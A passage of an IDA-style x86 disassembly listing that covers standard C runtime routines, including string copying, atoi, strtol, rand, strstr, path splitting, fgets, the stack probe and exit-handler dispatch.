loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_441DB4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_441DB4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_441BA8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43FB4C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4E0B70, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2720624h
		push	eax
		nop
		call	near ptr 2710A5Eh


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4E0B6C, edi
		mov	byte_4E0B68, bl
		jnz	short loc_41B844
		mov	eax, dword_4E21DC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4E21D8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4E21DC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4E0B70, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43FB30, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43FB30
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43FB30, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4E20A1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_441DB4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_441DB4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_441BA8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_441DB4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_441BA8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4E0B28, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



